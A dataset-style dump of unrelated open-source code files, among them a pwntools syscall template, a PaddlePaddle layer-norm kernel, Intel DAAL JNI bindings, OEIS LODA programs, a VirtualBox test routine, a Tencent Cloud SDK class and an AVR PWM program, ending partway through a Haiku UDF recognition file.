text stringlengths 1 1.05M |
|---|
<%
from pwnlib.shellcraft.powerpc.linux import syscall
%>
<%page args="file, mode"/>
<%docstring>
Invokes the syscall creat. See 'man 2 creat' for more information.
Arguments:
file(char): file
mode(mode_t): mode
</%docstring>
${syscall('SYS_creat', file, mode)}
|
/*
Copyright 2013 <copyright holder> <email>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include "counter.h"
#include <boost/bind.hpp>
TypedValue::TypedValue(const std::string& unit)
: _value(0), unit(unit)
{}
uint64_t TypedValue::value() const
{
return _value;
}
TypedValue TypedValue::autoScale() const
{
std::string prefix;
auto value_ = value();
if (value_ >= 10*1000*1000*1000LL) { value_ /= 1000000000; prefix = 'G'; }
if (value_ >= 10*1000*1000) { value_ /= 1000000; prefix = 'M'; }
if (value_ >= 10*1000) { value_ /= 1000; prefix = 'K'; }
TypedValue res(prefix+unit);
res._value = value_;
return res;
}
Counter::Counter(const std::string& unit)
: TypedValue(unit)
{}
uint64_t Counter::operator+=(uint64_t amount)
{
return _value += amount;
}
uint64_t Counter::reset()
{
auto res = _value;
_value = 0;
return res;
}
InertialValue::InertialValue(float inertia, const std::string& unit)
: TypedValue(unit), _inertia(inertia)
{}
uint64_t InertialValue::post(uint64_t amount)
{
return _value = (amount * (1.0-_inertia)) + (_value * (_inertia));
}
LazyCounter::LazyCounter(TimerService& ts, const std::string& unit, const boost::posix_time::time_duration& granularity, float falloff)
: Counter(unit), _timer(ts, boost::bind(&LazyCounter::tick, this), granularity), _value(falloff, unit)
{
}
uint64_t LazyCounter::value() const
{
return _value.value();
}
void LazyCounter::tick()
{
_value.post(reset());
}
std::ostream& operator<<(std::ostream& tgt, const TypedValue& v)
{
tgt << v.value() << v.unit;
return tgt;
}
|
// Copyright (c) 2022 PaddlePaddle Authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "paddle/phi/kernels/layer_norm_grad_kernel.h"
#include "paddle/phi/kernels/cpu/elementwise.h"
#include "paddle/phi/kernels/funcs/layer_norm_util.h"
#if !defined(PADDLE_WITH_CUDA) && !defined(_WIN32) && !defined(__APPLE__) && \
!defined(__OSX__)
#include "paddle/fluid/operators/jit/kernels.h"
#endif
#include "paddle/phi/backends/cpu/cpu_context.h"
#include "paddle/phi/core/kernel_registry.h"
#include "paddle/phi/kernels/copy_kernel.h"
#include "paddle/phi/kernels/funcs/blas/blas.h"
#include "paddle/phi/kernels/funcs/elementwise_base.h"
#include "paddle/phi/kernels/funcs/elementwise_functor.h"
#include "paddle/phi/kernels/funcs/math_function.h"
namespace phi {
template <typename T, typename Context>
void LayerNormGradKernel(const Context& dev_ctx,
const DenseTensor& x,
const paddle::optional<DenseTensor>& scale_opt,
const paddle::optional<DenseTensor>& bias_opt,
const DenseTensor& mean,
const DenseTensor& variance,
const DenseTensor& out_grad,
float epsilon,
int begin_norm_axis,
bool is_test,
DenseTensor* x_grad,
DenseTensor* scale_grad,
DenseTensor* bias_grad) {
auto* scale = scale_opt.get_ptr();
auto d_y = out_grad;
// init output
auto* d_x = x_grad;
auto* d_scale = scale_grad;
auto* d_bias = bias_grad;
const auto& x_dims = x.dims();
auto matrix_dim = phi::flatten_to_2d(x_dims, begin_norm_axis);
int left = static_cast<int>(matrix_dim[0]);
int right = static_cast<int>(matrix_dim[1]);
DDim matrix_shape({left, right});
d_y.Resize(matrix_shape);
funcs::ColwiseSum2D<phi::CPUContext, T> colwise_sum(left, right, dev_ctx);
DenseTensor x_tmp = x;
DenseTensor temp;
DenseTensor temp_norm;
if (d_scale || d_x) {
x_tmp.Resize(matrix_shape);
temp.Resize(matrix_shape);
dev_ctx.template Alloc<T>(&temp);
temp_norm.Resize(matrix_shape);
dev_ctx.template Alloc<T>(&temp_norm);
// get x_norm
phi::funcs::ElementwiseCompute<funcs::SubtractFunctor<T>, T, T>(
dev_ctx,
x_tmp,
mean,
/*axis*/ 0,
funcs::SubtractFunctor<T>(),
&temp_norm);
phi::funcs::ElementwiseCompute<funcs::DivAndSqrtFunctor<T>, T, T>(
dev_ctx,
temp_norm,
variance,
/*axis*/ 0,
funcs::DivAndSqrtFunctor<T>(static_cast<T>(epsilon)),
&temp_norm);
}
if (d_bias) {
dev_ctx.template Alloc<T>(d_bias);
colwise_sum(dev_ctx, d_y, d_bias);
}
if (d_scale) {
dev_ctx.template Alloc<T>(d_scale);
phi::funcs::ElementwiseCompute<funcs::MultiplyFunctor<T>, T, T>(
dev_ctx, temp_norm, d_y, 0, funcs::MultiplyFunctor<T>(), &temp);
colwise_sum(dev_ctx, temp, d_scale);
}
if (d_x) {
DDim vec_shape({left});
dev_ctx.template Alloc<T>(d_x);
auto dx_dim = d_x->dims();
DenseTensor temp_vec;
temp_vec.Resize(vec_shape);
dev_ctx.template Alloc<T>(&temp_vec);
funcs::RowwiseMean2D<phi::CPUContext, T> row_mean(left, right, dev_ctx);
if (d_scale) {
// dy_dx
phi::funcs::ElementwiseCompute<funcs::MultiplyFunctor<T>, T, T>(
dev_ctx, d_y, *scale, /*axis*/ 1, funcs::MultiplyFunctor<T>(), &temp);
phi::Copy<Context>(dev_ctx, temp, dev_ctx.GetPlace(), false, d_x);
// dy_dmean_dx
row_mean(dev_ctx, temp, &temp_vec);
phi::funcs::ElementwiseCompute<funcs::SubtractFunctor<T>, T, T>(
dev_ctx,
*d_x,
temp_vec,
/*axis*/ 0,
funcs::SubtractFunctor<T>(),
d_x);
// dy_var_dx
phi::funcs::ElementwiseCompute<funcs::MultiplyFunctor<T>, T, T>(
dev_ctx,
temp,
temp_norm,
/*axis*/ 0,
funcs::MultiplyFunctor<T>(),
&temp);
} else {
// dy_dx
phi::Copy<Context>(dev_ctx, d_y, dev_ctx.GetPlace(), false, d_x);
// dy_dmean_dx
row_mean(dev_ctx, d_y, &temp_vec);
phi::funcs::ElementwiseCompute<funcs::SubtractFunctor<T>, T, T>(
dev_ctx,
*d_x,
temp_vec,
/*axis*/ 0,
funcs::SubtractFunctor<T>(),
d_x);
// dy_var_dx
phi::funcs::ElementwiseCompute<funcs::MultiplyFunctor<T>, T, T>(
dev_ctx,
d_y,
temp_norm,
/*axis*/ 0,
funcs::MultiplyFunctor<T>(),
&temp);
}
// dy_var_dx
row_mean(dev_ctx, temp, &temp_vec);
phi::funcs::ElementwiseCompute<funcs::MultiplyFunctor<T>, T, T>(
dev_ctx,
temp_norm,
temp_vec,
/*axis*/ 0,
funcs::MultiplyFunctor<T>(),
&temp);
phi::funcs::ElementwiseCompute<funcs::SubtractFunctor<T>, T, T>(
dev_ctx, *d_x, temp, /*axis*/ 0, funcs::SubtractFunctor<T>(), d_x);
phi::funcs::ElementwiseCompute<funcs::DivAndSqrtFunctor<T>, T, T>(
dev_ctx,
*d_x,
variance,
/*axis*/ 0,
funcs::DivAndSqrtFunctor<T>(static_cast<T>(epsilon)),
d_x);
d_x->Resize(dx_dim);
}
}
} // namespace phi
PD_REGISTER_KERNEL(
layer_norm_grad, CPU, ALL_LAYOUT, phi::LayerNormGradKernel, float, double) {
}
|
/* file: tanh_forward_batch.cpp */
/*******************************************************************************
* Copyright 2014-2017 Intel Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*******************************************************************************/
#include <jni.h>
#include "neural_networks/layers/tanh/JTanhForwardBatch.h"
#include "daal.h"
#include "common_helpers.h"
USING_COMMON_NAMESPACES();
using namespace daal::algorithms::neural_networks::layers;
/*
* Class: com_intel_daal_algorithms_neural_networks_layers_tanh_TanhForwardBatch
* Method: cInit
* Signature: (II)J
*/
JNIEXPORT jlong JNICALL Java_com_intel_daal_algorithms_neural_1networks_layers_tanh_TanhForwardBatch_cInit
(JNIEnv *env, jobject thisObj, jint prec, jint method)
{
return jniBatch<tanh::Method, tanh::forward::Batch, tanh::defaultDense>::newObj(prec, method);
}
/*
* Class: com_intel_daal_algorithms_neural_networks_layers_tanh_TanhForwardBatch
* Method: cGetInput
* Signature: (JII)J
*/
JNIEXPORT jlong JNICALL Java_com_intel_daal_algorithms_neural_1networks_layers_tanh_TanhForwardBatch_cGetInput
(JNIEnv *env, jobject thisObj, jlong algAddr, jint prec, jint method)
{
return jniBatch<tanh::Method, tanh::forward::Batch, tanh::defaultDense>::getInput(prec, method, algAddr);
}
/*
* Class: com_intel_daal_algorithms_neural_networks_layers_tanh_TanhForwardBatch
* Method: cGetResult
* Signature: (JII)J
*/
JNIEXPORT jlong JNICALL Java_com_intel_daal_algorithms_neural_1networks_layers_tanh_TanhForwardBatch_cGetResult
(JNIEnv *env, jobject thisObj, jlong algAddr, jint prec, jint method)
{
return jniBatch<tanh::Method, tanh::forward::Batch, tanh::defaultDense>::getResult(prec, method, algAddr);
}
/*
* Class: com_intel_daal_algorithms_neural_networks_layers_tanh_TanhForwardBatch
* Method: cSetResult
* Signature: (JIIJ)V
*/
JNIEXPORT void JNICALL Java_com_intel_daal_algorithms_neural_1networks_layers_tanh_TanhForwardBatch_cSetResult
(JNIEnv *env, jobject thisObj, jlong algAddr, jint prec, jint method, jlong resAddr)
{
jniBatch<tanh::Method, tanh::forward::Batch, tanh::defaultDense>::
setResult<tanh::forward::Result>(prec, method, algAddr, resAddr);
}
/*
* Class: com_intel_daal_algorithms_neural_networks_layers_tanh_TanhForwardBatch
* Method: cClone
* Signature: (JII)J
*/
JNIEXPORT jlong JNICALL Java_com_intel_daal_algorithms_neural_1networks_layers_tanh_TanhForwardBatch_cClone
(JNIEnv *env, jobject thisObj, jlong algAddr, jint prec, jint method)
{
return jniBatch<tanh::Method, tanh::forward::Batch, tanh::defaultDense>::getClone(prec, method, algAddr);
}
|
; A315543: Coordination sequence Gal.4.137.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,6,11,17,23,29,35,40,46,52,57,63,69,75,81,86,92,98,103,109,115,121,127,132,138,144,149,155,161,167,173,178,184,190,195,201,207,213,219,224,230,236,241,247,253,259,265,270,276,282
mov $1,$0
sub $1,1
mov $2,$1
mov $3,$1
mov $4,$1
mov $5,$0
lpb $2,1
lpb $4,1
sub $2,2
sub $4,$3
trn $3,2
lpe
sub $2,2
add $4,$3
trn $3,$0
lpb $0,1
mov $0,3
mov $4,$3
lpe
trn $1,1
trn $2,1
add $3,1
lpe
lpb $5,1
add $1,5
sub $5,1
lpe
add $1,1
|
#include "templ.cpp"
PROC_CALLBACK(custom_test_xxx) {
using namespace templ::devapi;
if ( val_str(operand) == intern_str("xxx") ) {
return val_bool(true);
}
return val_bool(false);
}
int
main(int argc, char **argv) {
using namespace templ::api;
using namespace templ::devapi;
templ_init();
templ_register_test("xxx", custom_test_xxx, 0, 0);
Templ *templ = templ_compile_string(R"END(
{% if "xxx" is xxx %}
-- match --
{% else %}
-- no match --
{% endif %}
)END");
char *result = templ_render(templ, 0);
return 0;
}
|
; $Id: bs3-cmn-RegGetDr1.asm 72138 2018-05-07 13:03:51Z vboxsync $
;; @file
; BS3Kit - Bs3RegGetDr1
;
;
; Copyright (C) 2007-2018 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; The contents of this file may alternatively be used under the terms
; of the Common Development and Distribution License Version 1.0
; (CDDL) only, as it comes in the "COPYING.CDDL" file of the
; VirtualBox OSE distribution, in which case the provisions of the
; CDDL are applicable instead of those of the GPL.
;
; You may elect to license modified versions of this file under the
; terms and conditions of either the GPL or the CDDL or both.
;
%include "bs3kit-template-header.mac"
BS3_EXTERN_CMN Bs3Panic
BS3_EXTERN_CMN Bs3Syscall
%if TMPL_BITS == 16
BS3_EXTERN_DATA16 g_bBs3CurrentMode
%endif
TMPL_BEGIN_TEXT
;;
; @cproto BS3_CMN_PROTO_STUB(RTCCUINTXREG, Bs3RegGetDr1,(void));
;
; @returns Register value.
; @remarks Does not require 20h of parameter scratch space in 64-bit mode.
;
; @uses No GPRs (only return full register(s)).
;
BS3_PROC_BEGIN_CMN Bs3RegGetDr1, BS3_PBC_HYBRID_SAFE
BS3_CALL_CONV_PROLOG 0
push xBP
mov xBP, xSP
%if TMPL_BITS == 16
; If V8086 mode we have to go thru a syscall.
test byte [BS3_DATA16_WRT(g_bBs3CurrentMode)], BS3_MODE_CODE_V86
jnz .via_system_call
cmp byte [BS3_DATA16_WRT(g_bBs3CurrentMode)], BS3_MODE_RM
je .direct_access
%endif
; If not in ring-0, we have to make a system call.
mov ax, ss
and ax, X86_SEL_RPL
jnz .via_system_call
.direct_access:
mov sAX, dr1
TONLY16 mov edx, eax
TONLY16 shr edx, 16
jmp .return
.via_system_call:
mov xAX, BS3_SYSCALL_GET_DRX
mov dl, 1
call Bs3Syscall
.return:
pop xBP
BS3_CALL_CONV_EPILOG 0
BS3_HYBRID_RET
BS3_PROC_END_CMN Bs3RegGetDr1
|
#include <CwshI.h>
/*
* Operator Token | Precedence | Associativity
* ------------------------+--------------+--------------
* | |
* ( ) | 12 | L -> R
* ! ~ + - | 11 (unary) | R -> L
* -d -e -f -o -r -w | 11 (unary) | R -> L
* -x -z | 11 (unary) | R -> L
* * / % | 10 | L -> R
* + - | 9 | L -> R
* << >> | 8 | L -> R
* < <= > >= | 7 | L -> R
* == != | 6 | L -> R
* & | 5 | L -> R
* ^ | 4 | L -> R
* | | 3 | L -> R
* && | 2 | L -> R
* || | 1 | L -> R
*
*/
CwshExprOperator
CwshExprOperator::
operators_[] = {
CwshExprOperator(CwshExprOperatorType::OPEN_BRACKET , "(" , 12, true , true , false),
CwshExprOperator(CwshExprOperatorType::CLOSE_BRACKET , ")" , 12, true , true , false),
CwshExprOperator(CwshExprOperatorType::UNARY_PLUS , "+" , 11, false, false, true ),
CwshExprOperator(CwshExprOperatorType::UNARY_MINUS , "-" , 11, false, false, true ),
CwshExprOperator(CwshExprOperatorType::LOGICAL_NOT , "!" , 11, false, false, true ),
CwshExprOperator(CwshExprOperatorType::BIT_NOT , "~" , 11, false, false, true ),
CwshExprOperator(CwshExprOperatorType::IS_DIRECTORY , "-d" , 11, false, false, true ),
CwshExprOperator(CwshExprOperatorType::IS_FILE , "-e" , 11, false, false, true ),
CwshExprOperator(CwshExprOperatorType::IS_PLAIN , "-f" , 11, false, false, true ),
CwshExprOperator(CwshExprOperatorType::IS_OWNER , "-o" , 11, false, false, true ),
CwshExprOperator(CwshExprOperatorType::IS_READABLE , "-r" , 11, false, false, true ),
CwshExprOperator(CwshExprOperatorType::IS_WRITABLE , "-w" , 11, false, false, true ),
CwshExprOperator(CwshExprOperatorType::IS_EXECUTABLE , "-x" , 11, false, false, true ),
CwshExprOperator(CwshExprOperatorType::IS_ZERO , "-z" , 11, false, false, true ),
CwshExprOperator(CwshExprOperatorType::PLUS , "+" , 9, true , false, false),
CwshExprOperator(CwshExprOperatorType::MINUS , "-" , 9, true , false, false),
CwshExprOperator(CwshExprOperatorType::TIMES , "*" , 10, true , false, false),
CwshExprOperator(CwshExprOperatorType::DIVIDE , "/" , 10, true , false, false),
CwshExprOperator(CwshExprOperatorType::MODULUS , "%" , 10, true , false, false),
CwshExprOperator(CwshExprOperatorType::LESS , "<" , 7, true , false, false),
CwshExprOperator(CwshExprOperatorType::LESS_OR_EQUAL , "<=" , 7, true , false, false),
CwshExprOperator(CwshExprOperatorType::GREATER , ">" , 7, true , false, false),
CwshExprOperator(CwshExprOperatorType::GREATER_OR_EQUAL, ">=" , 7, true , false, false),
CwshExprOperator(CwshExprOperatorType::EQUAL , "==" , 6, true , false, false),
CwshExprOperator(CwshExprOperatorType::NOT_EQUAL , "!=" , 6, true , false, false),
CwshExprOperator(CwshExprOperatorType::MATCH_EQUAL , "=~" , 6, true , false, false),
CwshExprOperator(CwshExprOperatorType::NO_MATCH_EQUAL , "!~" , 6, true , false, false),
CwshExprOperator(CwshExprOperatorType::LOGICAL_AND , "&&" , 2, true , false, false),
CwshExprOperator(CwshExprOperatorType::LOGICAL_OR , "||" , 1, true , false, false),
CwshExprOperator(CwshExprOperatorType::BIT_AND , "&" , 5, true , false, false),
CwshExprOperator(CwshExprOperatorType::BIT_OR , "|" , 3, true , false, false),
CwshExprOperator(CwshExprOperatorType::BIT_XOR , "^" , 4, true , false, false),
CwshExprOperator(CwshExprOperatorType::BIT_LSHIFT , "<<" , 8, true , false, false),
CwshExprOperator(CwshExprOperatorType::BIT_RSHIFT , ">>" , 8, true , false, false),
};
int CwshExprOperator::num_operators_ =
sizeof(CwshExprOperator::operators_)/sizeof(CwshExprOperator);
CwshExprOperator::
CwshExprOperator(CwshExprOperatorType type, const std::string &token, uint precedence,
bool associate_l_to_r, bool punctuation, bool unary) :
type_(type), token_(token), precedence_(precedence), associate_l_to_r_(associate_l_to_r),
punctuation_(punctuation), unary_(unary)
{
}
CwshExprOperator *
CwshExprOperator::
lookup(CwshExprOperatorType type)
{
for (int i = 0; i < num_operators_; i++)
if (operators_[i].type_ == type)
return &operators_[i];
CWSH_THROW("Invalid Operator Type");
}
|
; A006633: From generalized Catalan numbers.
; Submitted by Jon Maiga
; 1,6,39,272,1995,15180,118755,949344,7721604,63698830,531697881,4482448656,38111876530,326439471960,2814095259675,24397023508416,212579132600076
mov $2,$0
mul $2,3
add $2,5
add $0,$2
bin $0,$2
mul $0,12
mov $1,$2
add $1,1
div $0,$1
div $0,2
|
/*
* Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <tencentcloud/yunsou/v20191115/model/DataManipulationRequest.h>
#include <tencentcloud/core/utils/rapidjson/document.h>
#include <tencentcloud/core/utils/rapidjson/writer.h>
#include <tencentcloud/core/utils/rapidjson/stringbuffer.h>
using namespace TencentCloud::Yunsou::V20191115::Model;
using namespace rapidjson;
using namespace std;
DataManipulationRequest::DataManipulationRequest() :
m_opTypeHasBeenSet(false),
m_encodingHasBeenSet(false),
m_contentsHasBeenSet(false),
m_resourceIdHasBeenSet(false)
{
}
string DataManipulationRequest::ToJsonString() const
{
Document d;
d.SetObject();
Document::AllocatorType& allocator = d.GetAllocator();
if (m_opTypeHasBeenSet)
{
Value iKey(kStringType);
string key = "OpType";
iKey.SetString(key.c_str(), allocator);
d.AddMember(iKey, Value(m_opType.c_str(), allocator).Move(), allocator);
}
if (m_encodingHasBeenSet)
{
Value iKey(kStringType);
string key = "Encoding";
iKey.SetString(key.c_str(), allocator);
d.AddMember(iKey, Value(m_encoding.c_str(), allocator).Move(), allocator);
}
if (m_contentsHasBeenSet)
{
Value iKey(kStringType);
string key = "Contents";
iKey.SetString(key.c_str(), allocator);
d.AddMember(iKey, Value(m_contents.c_str(), allocator).Move(), allocator);
}
if (m_resourceIdHasBeenSet)
{
Value iKey(kStringType);
string key = "ResourceId";
iKey.SetString(key.c_str(), allocator);
d.AddMember(iKey, m_resourceId, allocator);
}
StringBuffer buffer;
Writer<StringBuffer> writer(buffer);
d.Accept(writer);
return buffer.GetString();
}
string DataManipulationRequest::GetOpType() const
{
return m_opType;
}
void DataManipulationRequest::SetOpType(const string& _opType)
{
m_opType = _opType;
m_opTypeHasBeenSet = true;
}
bool DataManipulationRequest::OpTypeHasBeenSet() const
{
return m_opTypeHasBeenSet;
}
string DataManipulationRequest::GetEncoding() const
{
return m_encoding;
}
void DataManipulationRequest::SetEncoding(const string& _encoding)
{
m_encoding = _encoding;
m_encodingHasBeenSet = true;
}
bool DataManipulationRequest::EncodingHasBeenSet() const
{
return m_encodingHasBeenSet;
}
string DataManipulationRequest::GetContents() const
{
return m_contents;
}
void DataManipulationRequest::SetContents(const string& _contents)
{
m_contents = _contents;
m_contentsHasBeenSet = true;
}
bool DataManipulationRequest::ContentsHasBeenSet() const
{
return m_contentsHasBeenSet;
}
uint64_t DataManipulationRequest::GetResourceId() const
{
return m_resourceId;
}
void DataManipulationRequest::SetResourceId(const uint64_t& _resourceId)
{
m_resourceId = _resourceId;
m_resourceIdHasBeenSet = true;
}
bool DataManipulationRequest::ResourceIdHasBeenSet() const
{
return m_resourceIdHasBeenSet;
}
|
.include "myTiny13.h"
.org 0x0000
rjmp Main
.org 0x0006
rjmp CompareFits
; fade via tick-length (=255-N)
.org 0x0010
CompareFits:
; toggle Bit4
ldi A, 0b00010000
in B, PINB
eor A, B
out PORTB, A
ldi A, 8 ; Factor to increment/decrement 1,2,4,8
; change compareValue to make IRQ earlier
cpi I, 1 ; if inverse = false
breq Decrement
Increment:
add N, A ; N = N+A
rjmp CheckDir
Decrement:
sub N, A ; N = N-A
CheckDir: ; Ups! Zero! go into inverse Direction now!
brne CalcOk
cpi I, 1
breq UpCount ; if I != 1
DownCount:
ldi N, 248 ; because we want to count down (Inverse = true)
ldi I, 1 ; set I = 1 and N = 254
rjmp CalcOk
UpCount:
ldi N, A ; because we want to count up
ldi I, 0 ; else set I = 0 and N=0
CalcOk:
out OCR0A, N
reti
.org 0x0050
Main:
sbi DDRB, 4 ; PortB4 is output for IRQ ping
ldi A, 0b10000001 ; PWM mode 1 (phase correct!!)
out TCCR0A, A
ldi A, 0b00000011 ; timer: count on every 1/ 8/ 64/256/1024 clock-ticks
out TCCR0B, A ; 001/010/011/100/101
ldi A, 0b00000100 ; say timer to make IRQ on a fiting compare
out TIMSK0, A
ldi N, 0 ; default
ldi I, 0 ; inverse = 0
sei
Loop:
rjmp Loop
|
; A127214: a(n) = 2^n*tribonacci(n) or (2^n)*A001644(n+1).
; Submitted by Christian Krause
; 2,12,56,176,672,2496,9088,33536,123392,453632,1669120,6139904,22585344,83083264,305627136,1124270080,4135714816,15213527040,55964073984,205867974656,757300461568,2785785413632,10247716470784,37696978288640,138671105769472,510111856459776,1876483962306560,6902784196608000,25392399094120448,93407806673125376,343607483295596544,1263985386036658176,4649663158640705536,17104127727792816128,62918791178441719808,231451398537180348416,851410983610470105088,3131977890797195362304,11521210904333713932288
add $0,1
mov $1,2
pow $1,$0
seq $0,1644 ; a(n) = a(n-1) + a(n-2) + a(n-3), a(0)=3, a(1)=1, a(2)=3.
mul $1,$0
mov $0,$1
|
; A085265: Numbers that can be written as sum of a positive squarefree number and a positive square.
; 2,3,4,5,6,7,8,9,10,11,12,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71
add $0,2
mov $1,$0
log $1,13
add $1,$0
|
; A112308: Sum of the heights of the second peaks in all Dyck paths of semilength n+2.
; Submitted by Christian Krause
; 1,6,25,93,333,1180,4183,14895,53349,192239,696765,2539157,9299547,34215102,126411177,468822297,1744799967,6514363557,24393558687,91591471287,344764147407,1300756937445,4918188617379,18633066901747,70725349774447,268920851767299,1024199077234239,3906708949912367,14923290734556033,57083226794610188,218629799273082327,838371296388376503,3218558205866568317,12369671545200699755,47588573760049218285,183262076096814362757,706394309946354198901,2725255398636466115991,10522882742259777640321
lpb $0
mov $2,$0
sub $0,1
seq $2,70857 ; Expansion of (1+x*C)*C^4, where C = (1-(1-4*x)^(1/2))/(2*x) is g.f. for Catalan numbers, A000108.
add $1,$2
lpe
mov $0,$1
add $0,1
|
/*
* Copyright 2012, Jérôme Duval, korli@users.berlios.de.
* Copyright 2003, Tyler Dauwalder, tyler@dauwalder.net.
* Distributed under the terms of the MIT License.
*/
#include "Recognition.h"
#include "UdfString.h"
#include "MemoryChunk.h"
#include "Utils.h"
#include <string.h>
//------------------------------------------------------------------------------
// forward declarations
//------------------------------------------------------------------------------
static status_t
walk_volume_recognition_sequence(int device, off_t offset, uint32 blockSize,
uint32 blockShift);
static status_t
walk_anchor_volume_descriptor_sequences(int device, off_t offset, off_t length,
uint32 blockSize, uint32 blockShift,
primary_volume_descriptor &primaryVolumeDescriptor,
logical_volume_descriptor &logicalVolumeDescriptor,
partition_descriptor partitionDescriptors[],
uint8 &partitionDescriptorCount);
static status_t
walk_volume_descriptor_sequence(extent_address descriptorSequence, int device,
uint32 blockSize, uint32 blockShift,
primary_volume_descriptor &primaryVolumeDescriptor,
logical_volume_descriptor &logicalVolumeDescriptor,
partition_descriptor partitionDescriptors[],
uint8 &partitionDescriptorCount);
static status_t
walk_integrity_sequence(int device, uint32 blockSize, uint32 blockShift,
extent_address descriptorSequence, uint32 sequenceNumber = 0);
//------------------------------------------------------------------------------
// externally visible functions
//------------------------------------------------------------------------------
status_t
udf_recognize(int device, off_t offset, off_t length, uint32 blockSize,
uint32 &blockShift, primary_volume_descriptor &primaryVolumeDescriptor,
logical_volume_descriptor &logicalVolumeDescriptor,
partition_descriptor partitionDescriptors[],
uint8 &partitionDescriptorCount)
{
TRACE(("udf_recognize: device: = %d, offset = %" B_PRIdOFF ", length = %"
B_PRIdOFF ", blockSize = %" B_PRIu32 "\n", device, offset, length,
blockSize));
// Check the block size
status_t status = get_block_shift(blockSize, blockShift);
if (status != B_OK) {
TRACE_ERROR(("\nudf_recognize: Block size must be a positive power of "
"two! (blockSize = %" B_PRIu32 ")\n", blockSize));
return status;
}
TRACE(("blockShift: %" B_PRIu32 "\n", blockShift));
// Check for a valid volume recognition sequence
status = walk_volume_recognition_sequence(device, offset, blockSize,
blockShift);
if (status != B_OK) {
TRACE_ERROR(("udf_recognize: Invalid sequence. status = %" B_PRId32
"\n", status));
return status;
}
// Now hunt down a volume descriptor sequence from one of
// the anchor volume pointers (if there are any).
status = walk_anchor_volume_descriptor_sequences(device, offset, length,
blockSize, blockShift, primaryVolumeDescriptor,
logicalVolumeDescriptor, partitionDescriptors,
partitionDescriptorCount);
if (status != B_OK) {
TRACE_ERROR(("udf_recognize: cannot find volume descriptor. status = %"
B_PRId32 "\n", status));
return status;
}
// Now walk the integrity sequence and make sure the last integrity
// descriptor is a closed descriptor
status = walk_integrity_sequence(device, blockSize, blockShift,
logicalVolumeDescriptor.integrity_sequence_extent());
if (status != B_OK) {
TRACE_ERROR(("udf_recognize: last integrity descriptor not closed. "
"status = %" B_PRId32 "\n", status));
return status;
}
return B_OK;
}
//------------------------------------------------------------------------------
// local functions
//------------------------------------------------------------------------------
static
status_t
walk_volume_recognition_sequence(int device, off_t offset, uint32 blockSize,
uint32 blockShift)
{
TRACE(("walk_volume_recognition_sequence: device = %d, offset = %"
B_PRIdOFF ", blockSize = %" B_PRIu32 ", blockShift = %" B_PRIu32 "\n",
device, offset, blockSize, blockShift));
// vrs starts at block 16. Each volume structure descriptor (vsd)
// should be one block long. We're expecting to find 0 or more iso9660
// vsd's followed by some ECMA-167 vsd's.
MemoryChunk chunk(blockSize);
if (chunk.InitCheck() != B_OK) {
TRACE_ERROR(("walk_volume_recognition_sequence: Failed to construct "
"MemoryChunk\n"));
return B_ERROR;
}
bool foundExtended = false;
bool foundECMA167 = false;
bool foundECMA168 = false;
for (uint32 block = 16; true; block++) {
off_t address = (offset + block) << blockShift;
TRACE(("walk_volume_recognition_sequence: block = %" B_PRIu32 ", "
"address = %" B_PRIdOFF ", ", block, address));
ssize_t bytesRead = read_pos(device, address, chunk.Data(), blockSize);
if (bytesRead == (ssize_t)blockSize) {
volume_structure_descriptor_header* descriptor
= (volume_structure_descriptor_header *)(chunk.Data());
if (descriptor->id_matches(kVSDID_ISO)) {
TRACE(("found ISO9660 descriptor\n"));
} else if (descriptor->id_matches(kVSDID_BEA)) {
TRACE(("found BEA descriptor\n"));
foundExtended = true;
} else if (descriptor->id_matches(kVSDID_TEA)) {
TRACE(("found TEA descriptor\n"));
foundExtended = true;
} else if (descriptor->id_matches(kVSDID_ECMA167_2)) {
TRACE(("found ECMA-167 rev 2 descriptor\n"));
foundECMA167 = true;
} else if (descriptor->id_matches(kVSDID_ECMA167_3)) {
TRACE(("found ECMA-167 rev 3 descriptor\n"));
foundECMA167 = true;
} else if (descriptor->id_matches(kVSDID_BOOT)) {
TRACE(("found boot descriptor\n"));
} else if (descriptor->id_matches(kVSDID_ECMA168)) {
TRACE(("found ECMA-168 descriptor\n"));
foundECMA168 = true;
} else {
TRACE(("found invalid descriptor, id = `%.5s'\n", descriptor->id));
break;
}
} else {
TRACE_ERROR(("read_pos(pos:%" B_PRIdOFF ", len:%" B_PRIu32 ") "
